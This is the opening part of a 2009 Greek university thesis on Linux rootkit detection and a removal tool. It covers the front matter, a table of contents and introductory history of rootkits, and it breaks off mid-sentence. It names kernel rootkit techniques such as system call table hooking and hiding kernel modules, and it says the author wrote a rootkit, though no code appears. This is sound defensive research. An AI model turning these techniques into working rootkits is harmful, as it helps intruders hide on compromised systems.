ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΑΤΡΩΝ Διπλωματικ Ε

Document Sample
ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΑΤΡΩΝ Διπλωματικ Ε Powered By Docstoc
					       ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΑΤΡΩΝ
        ΤΜΗΜΑ ΗΛΕΚΤΡΟΛΟΓΩΝ ΜΗΧΑΝΙΚΩΝ
          ΚΑΙ ΤΕΧΝΟΛΟΓΙΑΣ ΥΠΟΛΟΓΙΣΤΩΝ
      ΤΟΜΕΑΣ: ΗΛΕΚΤΡΟΝΙΚΗΣ ΚΑΙ ΥΠΟΛΟΓΙΣΤΩΝ
         ΕΡΓΑΣΤΗΡΙΟ: ΣΥΣΤΗΜΑΤΩΝ ΥΠΟΛΟΓΙΣΤΩΝ




          Διπλωματική Εργασία
του Φοιτητή του Τμήματος Ηλεκτρολόγων Μηχανικών και
 Τεχνολογίας Υπολογιστών της Πολυτεχνικής Σχολής του
                Πανεπιστημίου Πατρών:


ΚΟΖΥΡΑΚΗ ΙΩΑΝΝΗ ΜΑΡΙΟΥ του ΓΕΩΡΓΙΟΥ
              Αριθμός Μητρώου: 5350


                      Θέμα:

 ΤΕΧΝΙΚΕΣ ΑΝΙΧΝΕΥΣΗΣ ROOTKIT
    ΚΑΙ ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΗΣ
      ΓΙΑ ΤΗΝ ΑΦΑΙΡΕΣΗ ΤΟΥ


                   Επιβλέπων:

           Καθηγητής Δ. Σερπάνος




          Αριθμός Διπλωματικής Εργασίας:
               Πάτρα, Μάρτιος 2009
                 ΠΙΣΤΟΠΟΙΗΣΗ

    Πιστοποιείται ότι η διπλωματική εργασία με θέμα:



      ΤΕΧΝΙΚΕΣ ΑΝΙΧΝΕΥΣΗΣ ROOTKIT
         ΚΑΙ ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΗΣ
           ΓΙΑ ΤΗΝ ΑΦΑΙΡΕΣΗ ΤΟΥ


 του φοιτητή του Τμήματος Ηλεκτρολόγων Μηχανικών και
                Τεχνολογίας Υπολογιστών


     ΚΟΖΥΡΑΚΗ ΙΩΑΝΝΗ ΜΑΡΙΟΥ του ΓΕΩΡΓΙΟΥ
                       (Α.Μ. 5350)




    παρουσιάστηκε δημόσια και εξετάστηκε στο Τμήμα
Ηλεκτρολόγων Μηχανικών και Τεχνολογίας Υπολογιστών στις
                      20.03.2009


      Ο επιβλέπων              Ο Διευθυντής του Τομέα




   Καθηγητής Δ. Σερπάνος         Καθηγητής Κ. Γκούτης
   Αριθμός Διπλωματικής Εργασίας:




                                   Τίτλος

                       Τεχνικές ανίχνευσης Rootkit
              και ανάπτυξη εφαρμογής για την αφαίρεσή του




Φοιτητής: Ιωάννης Μάριος Κοζυράκης
Επιβλέπων: Καθηγητής Δ. Σερπάνος


                                 Περίληψη

Τα rootkit επιτρέπουν στον επιτιθέμενο χρήστη να συνεχίσει να έχει πρόσβαση σε
ήδη παραβιασμένο σύστημα για μεγάλο χρονικό διάστημα μετά την παραβίαση,
χωρίς να γίνει αντιληπτός από τον νόμιμο διαχειριστή. Στην εργασία αυτή αναλύ-
θηκαν οι διάφορες τεχνικές οι οποίες χρησιμοποιούνται από τους επιτιθέμενους,
με έμφαση στα rootkits επιπέδου πυρήνα, και αναπτύχθηκε πρόγραμμα rootkit
το οποίο κάνει χρήση προηγμένων τεχνικών οι οποίες του επιτρέπουν τη λειτουρ-
γία ακόμη και στις νεότερες εκδόσεις του πυρήνα. Στη συνέχεια αναλύθηκαν οι
τεχνικές ανίχνευσης και αναπτύχθηκε εφαρμογή ανίχνευσης δυο διαφορετικών
κατηγοριών rootkit. Η εφαρμογή έχει επίσης τη δυνατότητα να εξουδετερώσει τα
rootkit της πρώτης κατηγορίας έτσι ώστε να αποκατασταθεί το σύστημα.
   Ευχαριστίες

   Στο σημείο αυτό, θα ήθελα να ευχαριστήσω όσους συνέβαλαν στην εκπόνη-
ση αυτής της διπλωματικής εργασίας με την καθοδήγηση, τις συμβουλές και τη
γενικότερη υποστήριξη που μου παρείχαν.
   Ο κ. Δημήτριος Σερπάνος μου έδωσε την ευκαιρία να ασχοληθώ με ένα πολύ
ενδιαφέρον θέμα και να συνεργαστώ με αξιόλογους ανθρώπους.
   Ο Αλέξανδρος Αντωνόπουλος ήταν αυτός ο οποίος μου παρείχε πολύτιμη βο-
ήθεια καθ’ όλη τη διάρκεια της έρευνας και της συγγραφής αυτής της εργασίας,
διαθέτοντας μου ένα σημαντικό μέρος από το χρόνο του, ενώ κάποιες από τις κεν-
τρικές ιδέες της εργασίας αυτής είναι δικές του.
   Τέλος, οι δικοί μου άνθρωποι, οικογένεια και φίλοι, στάθηκαν δίπλα μου από
την αρχή έως το τέλος, διευκολύνοντας με κάθε μέσο την εκπόνηση της εργασίας
αυτής.
                                                               Περιεχόμενα


1   Εισαγωγή                                                                              1
    1.1 Γενικά . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .      1

2   Υπόβαθρο                                                                              3
    2.1 Ορισμός Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . .         3
    2.2 Ιστορικό . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .      4
         2.2.1   Η περίπτωση της Sony BMG . . . . . . . . . . . . . . . . . . .           6
    2.3 Λειτουργικότητα των Rootkit        . . . . . . . . . . . . . . . . . . . . . .    8
         2.3.1 Διατήρηση της πρόσβασης . . . . . . . . . . . . . . . . . . . .            8
         2.3.2 Επίθεση σε άλλα συστήματα . . . . . . . . . . . . . . . . . . .           11
         2.3.3 Απόκρυψη αποδείξεων . . . . . . . . . . . . . . . . . . . . . .           12
    2.4 Ταξινόμηση των Rootkit . . . . . . . . . . . . . . . . . . . . . . . . .         13
         2.4.1 Rootkits επιπέδου χρήστη . . . . . . . . . . . . . . . . . . . .          13
         2.4.2 Rootkits με χρήση βιβλιοθηκών . . . . . . . . . . . . . . . . .           14
         2.4.3 Rootkits επιπέδου πυρήνα . . . . . . . . . . . . . . . . . . . .          16
         2.4.4 Rootkits βασισμένα σε εικονικές μηχανές . . . . . . . . . . .             16
         2.4.5 Rootkits καταχωρητών εκσφαλμάτωσης . . . . . . . . . . . .                20
         2.4.6 Άλλα Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . .       21

3 Rootkits επιπέδου χρήστη                                                               23
    3.1 Αρχεία τα οποία περιέχονται στο πακέτο ενός rootkit . . . . . . . . .            23
    3.2 Χρησιμοποιούμενες τεχνικές . . . . . . . . . . . . . . . . . . . . . .           24
         3.2.1 Επεξεργασία αρχείων καταγραφής . . . . . . . . . . . . . . .              25
         3.2.2 Αντικατάσταση εκτελέσιμων συστήματος . . . . . . . . . . . .              27
    3.3 Ανίχνευση . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .      31

4 Rootkits επιπέδου πυρήνα                                                               33
    4.1 Ο πυρήνας του λειτουργικού συστήματος Linux . . . . . . . . . . .                33
         4.1.1 Επίπεδο χρήστη και πυρήνα . . . . . . . . . . . . . . . . . . .           34
         4.1.2 Κλήσεις Συστήματος . . . . . . . . . . . . . . . . . . . . . . .          36
         4.1.3 Αρθρώματα πυρήνα . . . . . . . . . . . . . . . . . . . . . . . .          41
    4.2 Αρχιτεκτονική των rootkits επιπέδου πυρήνα . . . . . . . . . . . . .             47
    4.3 Τεχνικές εισαγωγής αλλαγών στον πυρήνα . . . . . . . . . . . . . . .             49
         4.3.1 Μεταγλώττιση πυρήνα . . . . . . . . . . . . . . . . . . . . . .           49
         4.3.2 Επεξεργασία εικόνας πυρήνα στο δίσκο . . . . . . . . . . . .              50

                                                                                         ix
ΠΕΡΙΕΧΟΜΕΝΑ


         4.3.3 Αρθρώματα πυρήνα . . . . . . . . . . . . . . . . . . . . . . . .        50
         4.3.4 Επεξεργασία εικόνας πυρήνα στη μνήμη . . . . . . . . . . . .            51
    4.4 Σημεία εκτροπής της ροής εκτέλεσης . . . . . . . . . . . . . . . . . .         52
         4.4.1 Τροποποίηση εγγραφών του Πίνακα Κλήσεων Συστήματος . .                  53
         4.4.2 Τροποποίηση του κώδικα των κλήσεων συστήματος . . . . . .               56
         4.4.3 Ανακατεύθυνση του πίνακα κλήσεων συστήματος . . . . . . .               57
         4.4.4 Τροποποίηση του Πίνακα Περιγραφέων Διακοπών . . . . . .                 58
         4.4.5 Τροποποίηση εικονικού συστήματος αρχείων (VFS) . . . . . .              59

5 Αντίμετρα                                                                            63
    5.1 Ανίχνευση . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .    64
         5.1.1 Ανίχνευση της τροποποίησης εγγραφών του πίνακα κλήσεων
                συστήματος . . . . . . . . . . . . . . . . . . . . . . . . . . . .     64
         5.1.2 Ανίχνευση της τροποποίησης του κώδικα κλήσεων συστήματος 68
         5.1.3 Ανίχνευση της τροποποίησης του χειριστή κλήσεων συστήματος 69
         5.1.4 Άλλοι τρόποι ανίχνευσης . . . . . . . . . . . . . . . . . . . . .       71

6 Ανάπτυξη κώδικα                                                                      73
    6.1 Ανάπτυξη rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . .     73
         6.1.1 Διαγραφή από τη λίστα των αρθρωμάτων . . . . . . . . . . . .            75
         6.1.2 Εύρεση συμβόλου sys_call_table . . . . . . . . . . . . . . . .          75
         6.1.3 Αλλαγή εγγραφών του πίνακα κλήσεων            . . . . . . . . . . . .   77
         6.1.4 Αλλαγή ιδιοτήτων σελίδας μνήμης . . . . . . . . . . . . . . .           78
    6.2 Ανάπτυξη προγράμματος KCHECK . . . . . . . . . . . . . . . . . . .             82
         6.2.1 Τρόπος λειτουργίας . . . . . . . . . . . . . . . . . . . . . . . .      83

7 Σύνοψη                                                                               91
    7.1 Δυνατότητες επέκτασης . . . . . . . . . . . . . . . . . . . . . . . . . .      93

Βιβλιογραφία                                                                           97

A Παράρτημα A                                                                          99
    A.1 Περίπτωση χρήσης: Επίθεση σε σύστημα . . . . . . . . . . . . . . .             99
    A.2 Γνωστά rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104

B Παράρτημα B                                                                          109
    B.1 Κώδικας rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
    B.2 Κώδικας KCHECK . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114

x
                                          Κατάλογος σχημάτων


2.1 Το σχήμα αυτό δείχνει πως ένα υπάρχον λειτουργικό σύστημα μπο-
     ρεί να μεταφερθεί και να τρέξει μέσα σε μία εικονική μηχανή η οποία
     παρέχεται από έναν επόπτη εικονικών μηχανών. Τα γκρι μέρη του
     σχήματος ορίζουν τα κομμάτια που παρέχονται από το rootkit . . .                  17

4.1 Το σχήμα αυτό δείχνει την πολυεπίπεδη αρχιτεκτονική των μοντέρ-
     νων επεξεργαστών, με τα λειτουργικά συστήματα να εκμεταλλεύονται
     το χαμηλότερο και το υψηλότερο επίπεδο . . . . . . . . . . . . . . .              35
4.2 Η λειτουργία του πίνακα κλήσεων συστήματος . . . . . . . . . . . .                 39
4.3 Σχηματική απεικόνιση της ροής εκτέλεσης μιας κλήσης συστήματος                     40
4.4 Σχηματική απεικόνιση της ροής εκτέλεσης μιας κλήσης συστήματος
     (2) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .   41
4.5 Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
     σης συστήματος μέσω της μεθόδου τροποποίησης εγγραφών του πί-
     νακα κλήσεων συστήματος . . . . . . . . . . . . . . . . . . . . . . . .           55
4.6 Κάποιες από τις αλλαγές τις οποίες επιφέρει στον πίνακα κλήσεων
     του συστήματος το rootkit “Knark”.         . . . . . . . . . . . . . . . . . .    56
4.7 Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
     σης συστήματος μέσω της μεθόδου τροποποίησης της συνάρτησης
     χειρισμού της διακοπής 0x80 . . . . . . . . . . . . . . . . . . . . . .           58
4.8 Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
     σης συστήματος μέσω της μεθόδου τροποποίησης του Πίνακα Περι-
     γραφέων Διακοπών . . . . . . . . . . . . . . . . . . . . . . . . . . . .          59
4.9 Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
     σης συστήματος μέσω της μεθόδου τροποποίησης συναρτήσεων του
     εικονικού συστήματος αρχείων (VFS) . . . . . . . . . . . . . . . . . .            61

6.1 Διάγραμμα ροής του rootkit . . . . . . . . . . . . . . . . . . . . . . .           86
6.2 Μηχανισμός μετάφρασης εικονικών διευθύνσεων . . . . . . . . . . .                  87
6.3 Δομή των περιεχομένων του Καταχωρητή Ελέγχου 3 (CR3) . . . . .                     87
6.4 Δομή του περιεχομένου των εγγραφών του Καταλόγου Σελίδων και
     του Πίνακα Σελίδων . . . . . . . . . . . . . . . . . . . . . . . . . . .          88
6.5 Διάγραμμα ροής του προγράμματος KCHECK . . . . . . . . . . . .                     89




                                                                                       xi
                                           Κατάλογος πινάκων


4.1 Κλήσεις συστήματος τη λειτουργία των οποίων τροποποιούν συνήθως
    τα rootkits. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .    53

A.1 Γνωστά Rootkits     . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104




                                                                                   xiii
             Κατάλογος αποσπασμάτων κώδικα


2.1 Κώδικας ανίχνευσης εικονικής μηχανής . . . . . . . . . . . . . . . .           18
3.1 Αρχεία καταγραφής πριν την επεξεργασία με το εργαλείο whitecat .               25
3.2 Χρήση του εργαλείου επεξεργασίας αρχείων καταγραφής whitecat,
     αφού πριν έχουν αποκτηθεί δικαιώματα υπερχρήστη και κατάσταση
     αρχείων καταγραφής μετά την επεξεργασία . . . . . . . . . . . . . .           26
4.1 Απλό άρθρωμα πυρήνα . . . . . . . . . . . . . . . . . . . . . . . . .          42
4.2 Τυπικό σενάριο παραγωγής, όπου mymodule το όνομα αρχείου του
     αρθρώματος . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .    43
6.1 Η κακόβουλη κλήση συστήματος evil_kill()               . . . . . . . . . . .   74
6.2 Τεχνική διαγραφής από τη λίστα αρθρωμάτων πυρήνα . . . . . . . .               75
6.3 Τεχνική αναζήτησης της διεύθυνσης του πίνακα κλήσεων συστήμα-
     τος μέσω του καταχωρητή IDTR . . . . . . . . . . . . . . . . . . . . .        76
B.1 Το Makefile του rootkit μας . . . . . . . . . . . . . . . . . . . . . . . 109
B.2 Το rootkit μας . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
B.3 Το Makefile του KCHECK . . . . . . . . . . . . . . . . . . . . . . . . 114
B.4 Το σενάριο κελύφους χειρισμού του KCHECK             . . . . . . . . . . . . 115
B.5 Το άρθρωμα εύρεσης στοιχείων του πυρήνα . . . . . . . . . . . . . . 120
B.6 Το πρόγραμμα ελέγχου των στοιχείων του πυρήνα . . . . . . . . . . 123
B.7 Το άρθρωμα αποκατάστασης του προγράμματος KCHECK . . . . . 135




                                                                                   xv
                                                              Εισαγωγή
                                                                      1
1.1 Γενικά
Οι εισβολείς και οι κακόβουλοι χρήστες είναι διαχρονικά μια συχνή και σημαν-
τική απειλή στην ασφάλεια των υπολογιστικών συστημάτων. Έχουν παρατηρηθεί
αμέτρητα κενά ασφαλείας και προγραμματιστικά σφάλματα στα πρωτόκολλα, στα
λειτουργικά συστήματα, στις εφαρμογές και σε όλο το λογισμικό που αποτελεί το
σύγχρονο υπολογιστικό περιβάλλον. Οι εισβολείς, εκμεταλλευόμενοι αυτά τα κε-
νά ασφαλείας αποκτούν πρόσβαση και έλεγχο σε μη εξουσιοδοτημένα συστήματα,
υποκλέπτουν δεδομένα, επιτίθενται σε άλλα συστήματα και δημιουργούν χάος. Η
τεχνολογία των υπολογιστών έχει εξελιχθεί πολύ γρήγορα για να μπορέσει η τεχνο-
λογία ασφαλείας να ακολουθήσει, και η πραγματικότητα είναι πως τα σημερινά
υπολογιστικά συστήματα είναι εγγενώς εύκολο να παραβιαστούν. [1]
   Οι μοντέρνες τεχνικές στην ασφάλεια υπολογιστών σχετίζονται κυρίως με την
πρόληψη (prevention) επιθέσεων, την ανίχνευση (detection) επιθέσεων και απο-
πειρών επιθέσεων και την αποκατάσταση (recovery) μετά από επιτυχείς επιθέσεις.
Η πρόληψη εμπεριέχει δραστηριότητες όπως η χρήση ασφαλών εκδόσεων των λει-
τουργικών συστημάτων, απενεργοποίηση υπηρεσιών (services) οι οποίες έχουν
γνωστές αδυναμίες ή σφάλματα ασφάλειας και η εγκατάσταση εξειδικευμένου
λογισμικού πρόληψης επιθέσεων. Η ανίχνευση επιθέσεων ή αποπειρών επιθέσε-
ων καλύπτεται από το ευρύ πεδίο έρευνας της ανίχνευσης εισβολής (intrusion
detection), το οποίο χωρίζεται σε ανίχνευση εισβολής σε δίκτυο (network intrusion
detection) ή σε μεμονωμένο σύστημα (host intrusion detection). Η αποκατάστα-
ση μετά από επιτυχημένη επίθεση περιλαμβάνει τις κινήσεις εκείνες που πρέπει
να γίνουν από τον διαχειριστή ώστε να επανέλθει το σύστημα σε κατάσταση κα-
νονικής λειτουργίας και πολύ συχνά περιλαμβάνει την επαναφορά δεδομένων και

                                                                               1
ΚΕΦΑΛΑΙΟ 1. ΕΙΣΑΓΩΓΗ


εφαρμογών από αντίγραφα ασφαλείας. Η ανίχνευση εισβολής σε δίκτυο διεξάγεται
συνήθως μέσω λογισμικού παρακολούθησης πακέτων όπως το Snort[2]. Τυπικά
η κίνηση του δικτύου σε μορφή πακέτων tcp/ip αποθηκεύεται και αναλύεται αρ-
γότερα με τεχνικές εύρεσης ανωμαλιών και υπογραφών επιθέσεων. Η ανίχνευση
εισβολής σε μεμονωμένο σύστημα επιτυγχάνεται συνήθως με λογισμικό παρακο-
λούθησης της ακεραιότητας των αρχείων του συστήματος όπως το Tripwire[3].
Εκτός των παραπάνω, είναι διαθέσιμα και αρκετά εξειδικευμένα προγράμματα
ανίχνευσης rootkits για μεμονωμένα συστήματα, στα οποία θα αναφερθούμε α-
ναλυτικά σε επόμενες ενότητες.
    Τα rootkit είναι μια μέθοδος με την οποία οι εισβολείς διατηρούν τον έλεγχο
του παραβιασμένου συστήματος, επιτίθενται σε άλλα συστήματα, καταστρέφουν τα
αποδεικτικά στοιχεία και μειώνουν την πιθανότητα ανίχνευσής τους από τον νόμι-
μο διαχειριστή. Στο πεδίο της ασφάλειας υπολογιστών, η ανίχνευση των rootkits
μπορεί να ενταχθεί στις μεθόδους ανίχνευσης επιθέσεων σε μεμονωμένα συστή-
ματα. Οι μέθοδοι αυτές περιλαμβάνουν κυρίως τη συλλογή πληροφοριών για τις
τεχνικές εισβολής, βασίζονται δηλαδή σε a priori αναλυτική γνώση των επιθέσε-
ων για να είναι αποτελεσματική. Η εφαρμογή η οποία αναπτύχθηκε στα πλαίσια
της εργασίας δεν χρειάζεται πρότερη γνώση και ανάλυση του κάθε συγκεκριμένου
rootkit, αλλά μια γενικότερη γνώση του τρόπου λειτουργίας τους ανά κατηγορία.
    Ένα πρωταρχικό μέλημα των κακόβουλων χρηστών είναι όχι μόνο να αποκτή-
σουν πρόσβαση με αυξημένα δικαιώματα σε συστήματα στα οποία δεν έχουν άδεια
να χρησιμοποιούν αλλά και να διατηρήσουν αυτή την πρόσβαση. Για να διατηρή-
σουν την πρόσβαση, οι επιτιθέμενοι πρέπει να αποκρύψουν τις δραστηριότητές
του από τον νόμιμο διαχειριστή του συστήματος και από τους υπόλοιπους νόμι-
μους χρήστες. Με την πάροδο του χρόνου, η απόκρυψη αυτή έχει εξελιχθεί από
απλή, χειροκίνητη τροποποίηση των αρχείων καταγραφής, στην ανάπτυξη εξειδι-
κευμένων εργαλείων τα οποία αυτοματοποιούν την παραπάνω διαδικασία, και έχει
κορυφωθεί με την ανάπτυξη εφαρμογών rootkit, από απλά μέχρι rootkit εικονικών
μηχανών και rootkit τα οποία δρουν απευθείας στο υλικό των υπολογιστών.




2
                                                            Υπόβαθρο
                                                                    2
2.1 Ορισμός Rootkit
Ο όρος “rootkit” συνήθως προκαλεί μεγάλη σύγχυση στο πεδίο της ασφάλειας υ-
πολογιστικών συστημάτων. Είναι ένας σύνθετος όρος ο οποίος αποτελείται από τις
λέξεις “root” και “kit”. Ο όρος “root” αναφέρεται στο σύνηθες όνομα του λογα-
ριασμού του διαχειριστή συστήματος σε λειτουργικό σύστημα Unix, ενώ ο όρος
“kit” αναφέρεται σε μία ομάδα ή πακέτο εργαλείων και εφαρμογών. Ετυμολογικά
ο όρος rootkit θα μπορούσε να ερμηνευτεί ως μια ομάδα εφαρμογών οι οποί-
ες επιτρέπουν την απόκτηση πρόσβασης σε σύστημα με δικαιώματα υπερχρήστη,
αλλά η ερμηνεία αυτή είναι λανθασμένη. Στην πραγματικότητα, ότι ο στόχος του
rootkit είναι κυρίως να επιτρέψει στον εισβολέα να διατηρήσει την μη εξουσιοδο-
τημένη πρόσβαση που έχει αποκτήσει με άλλους τρόπους έτσι ώστε να μπορεί να
χρησιμοποιήσει το σύστημα μελλοντικά.
   Ειδικότερα, ένα rootkit είναι μια συλλογή εργαλείων (προγραμμάτων) τα οποία
χρησιμοποιεί ένας κακόβουλος χρήστης με σκοπό να συγκαλύψει μια επίθεση, να
μπορεί να διατηρήσει την πρόσβασή του στο σύστημα σε μελλοντικό χρόνο χωρίς
την ανάγκη εκ νέου επίθεσης και να καταστήσει τις ενέργειες του αόρατες στον
διαχειριστή του συστήματος. Συχνά το rootkit περιλαμβάνει και προγράμματα τα
οποία βοηθούν τον εισβολέα να εισβάλει σε νέα συστήματα και οτιδήποτε άλλο θα
μπορούσε να του φανεί χρήσιμο μετά την επίθεση.
   Σε ένα περιβάλλον Unix, ο εισβολέας εγκαθιστά το rootkit αμέσως μετά την ει-
σβολή, αφού πρώτα έχει αποκτήσει πρόσβαση επιπέδου υπερχρήστη (διαχειριστή)
στο σύστημα. Η χρήση αυτού του επιπέδου πρόσβασης είναι απαραίτητη για την
σωστή εγκατάσταση των rootkits και μπορεί να αποκτηθεί με πολλούς τρόπους,
όπως η ανακάλυψη του κωδικού του διαχειριστή μετά από δοκιμή πολλών κωδι-

                                                                            3
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


κών (brute-force attack) ή η εκμετάλλευση ενός κενού ασφαλείας (vulnerability)
μιας εφαρμογής του συστήματος ή και του ίδιου του πυρήνα του λειτουργικού.
Περιγράφουμε τη διαδικασία μιας τυπικής επίθεσης στην ενότητα A.1.



2.2 Ιστορικό
Την δεκαετία του 1980 το Unix ήταν το κυρίαρχο λειτουργικό σύστημα για δικτυα-
κά περιβάλλοντα. Τα συστήματα Unix παρείχαν κάποια εργαλεία στον διαχειριστή
όπως το ps για την επίβλεψη των διεργασιών, το ls για την εμφάνιση αρχείων, το
who για την εμφάνιση των συνδεδεμένων χρηστών στο σύστημα, το ifconfig για
την επισκόπηση των ιδιοτήτων των καρτών δικτύου και άλλα. Εξαιτίας της ύπαρξης
και χρήσης των εργαλείων αυτών από τους διαχειριστές συστημάτων, ο κακόβου-
λος ή επιτιθέμενος χρήστης είχε και έχει πάντα στόχο την παράκαμψη τους ώστε
να είναι δυνατό να δράσει χωρίς να είναι εμφανείς οι κινήσεις του.
        Τα πρώτα προγράμματα τα οποία επέτρεπαν στον επιτιθέμενο να συγκαλύψει
την ταυτότητα του σε ένα ξένο σύστημα εμφανίστηκαν στις αρχές της δεκαετίας του
1990. Το 19891 εμφανίστηκε το πρώτο πρόγραμμα καθαρισμού των αρχείων κατα-
γραφής του συστήματος [4]. Ο επιτιθέμενος, παραποιώντας τα αρχεία καταγραφής
(utmp, wtmp και lastlog) γινόταν αόρατος στο νόμιμο διαχειριστή ο οποίος έκανε
χρήση των εντολών who, w ή last.
        Τα rootkits όπως τα γνωρίζουμε σήμερα, εμφανίστηκαν πρώτη φορά στα μέσα
της δεκαετίας του 1990. Την εποχή αυτή, οι διαχειριστές συστημάτων με λειτουρ-
γικό SunOS 4.x άρχισαν να παρατηρούν περίεργη συμπεριφορά των συστημάτων
τους, όπως ανεξήγητα κατειλημμένο χώρο αποθήκευσης, αυξημένη χρήση του ε-
πεξεργαστή και συνδέσεις δικτύου τις οποίες τα εργαλεία διαχείρισης δεν εμφάνι-
ζαν.
        Το πρώτο rootkit εμφανίστηκε τον Οκτώβριο του 1994, φτιαγμένο για λειτουρ-
γικό σύστημα SunOS 4.x [5]. Στο rootkit αυτό εμπεριέχονταν κακόβουλα τροπο-
ποιημένες εκδόσεις των προγραμμάτων ps, netstat και login. Ο κύριος στόχος
του ήταν η απόκτηση πρόσβασης σε άλλα συστήματα αξιοποιώντας τεχνικές παρα-
κολούθησης των πακέτων (sniffing) τα οποία μεταδίδονταν στο δίκτυο. Εκείνη την
εποχή δεν υπήρχε κωδικοποίηση των δεδομένων στα πακέτα, και έτσι κάποιος
τρίτος μπορούσε να διαβάσει το περιεχόμενο τους το οποίο πολλές φορές ήταν
    1
    Οι χρονολογίες αναφέρονται στο χρόνο όπου τα συγκεκριμένα προγράμματα έγιναν ευρέως
γνωστά μέσω διαδικτύου, μπορεί όμως να ήταν σε χρήση για αρκετό καιρό πριν την δημόσια ανα-
κοίνωση.


4
                                                                     2.2. ΙΣΤΟΡΙΚΟ


κωδικοί πρόσβασης σε άλλα συστήματα.
   Τα rootkits βελτιώθηκαν με τον χρόνο συμπεριλαμβάνοντας όλο και περισ-
σότερα κακόβουλα εργαλεία που δρουν σαν αντικαταστάτες εργαλείων του Unix
με τα οποία θα μπορούσε ο διαχειριστής να αντιληφθεί την ύπαρξη του προγράμ-
ματος παρακολούθησης πακέτων. Στη συνέχεια εξελίχθηκαν περαιτέρω, συμπερι-
λαμβάνοντας εργαλεία με τα οποία ο επιτιθέμενος μπορούσε να αλλάξει κάποιες
ιδιότητες των τροποποιημένων (trojaned) προγραμμάτων κάνοντας τα να μοιάζουν
με τα αρχικά. Μερικές από αυτές τις ιδιότητες είναι το μέγεθος, η ημερομηνία
πρόσβασης, το άθροισμα ελέγχου (checksum), τα δικαιώματα χρήσης, και ο χρή-
στης – κάτοχος του αρχείου.
   Με την εμφάνιση του λειτουργικού συστήματος Linux τα rootkits βρήκαν ένα
νέο πεδίο δράσης χρησιμοποιώντας νέες τεχνικές, όπως τα αρθρώματα πυρήνα τα
οποία υποστηρίζει το Linux. Τα πρώτα rootkits για το λειτουργικό σύστημα Linux
εμφανίστηκαν το 1996. Τα rootkits τύπου αρθρώματος πυρήνα (Linux Kernel
Module rootkits) προτάθηκαν για πρώτη φορά τον Απρίλιο του 1997 στο περιοδι-
κό για hackers Phrack από τον Halflife, στο ιστορικό άρθρο “Abusing the Linux
Kernel for Fun and Profit” [6] όπου παρουσιάστηκε το γνωστό heroin.c. Η πιο
διαδεδομένη τεχνική την οποία χρησιμοποιούν τα rootkits μέχρι σήμερα είναι η
αντικατάσταση κλήσεων συστήματος, μια τεχνική που προτάθηκε στο ίδιο περιο-
δικό το 1998 [7]. Τα δύο παραπάνω άρθρα αποτέλεσαν για πολλά χρόνια την βάση
πάνω στην οποία δημιουργήθηκαν τα περισσότερα rootkits.
   Το 1998 ο Silvio Cesare παρουσίασε για πρώτη φορά την τεχνική εισαγωγής
κώδικα στον πυρήνα χωρίς την χρήση αρθρωμάτων, μέσω της απευθείας εγγραφής
στο δυαδικό αρχείο εικόνας της μνήμης /proc/(k)mem. Το 1999 εμφανίσθηκε το
διάσημο Adore LKM rootkit από την ομάδα TESO, το οποίο χρησιμοποιεί τεχνι-
κή αρθρώματος πυρήνα. Το 2000 κυκλοφόρησε το T0rnkit v8 rootkit, το οποίο
ανήκει στην κατηγορία των rootkits τα οποία χρησιμοποιούν αντικατάσταση βι-
βλιοθηκών και όχι εκτελέσιμων αρχείων του συστήματος. Το 2001 κυκλοφόρησαν
τα KIS Trojan και SucKIT. Τα συγκεκριμένα χρησιμοποιούν τις τεχνικές απευ-
θείας τροποποίησης του /proc/kmem. Το 2002 αρχίζουν να εμφανίζονται διάφορα
εργαλεία τύπου δούρειου ίππου (backdoor) σαν στοιχεία των rootkits. Η διατήρη-
ση της πρόσβασης στο σύστημα θύμα πραγματοποιείται τυπικά με προγράμματα
backdoors.
   Τα rootkits είδαν τα φώτα της δημοσιότητας για το ευρύ κοινό το 2005, όταν η
Sony συμπεριέλαβε ένα rootkit σε κάποια CD μουσικής. Θα αναφερθούμε στην
περίπτωση της Sony BMG στην ενότητα 2.2.1.

                                                                               5
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


    Για λόγους πληρότητας πρέπει να αναφερθεί ότι το πρώτο rootkit για λειτουρ-
γικό σύστημα Microsoft Windows NT εμφανίστηκε το 1999 [8]. Επέτρεπε την α-
πόκρυψη κλειδιών του μητρώου του συστήματος και ανακατεύθυνση εκτέλεσης
προγραμμάτων. Πλέον τα rootkits για λειτουργικά συστήματα της Microsoft έχουν
ξεπεράσει σε δημοτικότητα τα rootkits για Unix.
    Οι μοντέρνοι επεξεργαστές της Intel και της AMD περιέχουν μια σειρά δυνα-
τοτήτων για την υποστήριξη εικονικών λειτουργικών συστημάτων (virtualized OS).
Έτσι, το 2006 στο συνέδριο Black Hat στο Las Vegas εμφανίσθηκε το πρώτο rootkit
το οποίο χρησιμοποιεί τεχνικές εικονικής μηχανής με υποβοήθηση και εκμεταλ-
λευόμενο τις παραπάνω δυνατότητες των επεξεργαστών, με όνομα “BluePill”. Τα
rootkits αυτού του τύπου δρουν σε ένα τελείως ξεχωριστό επίπεδο, έξω από το
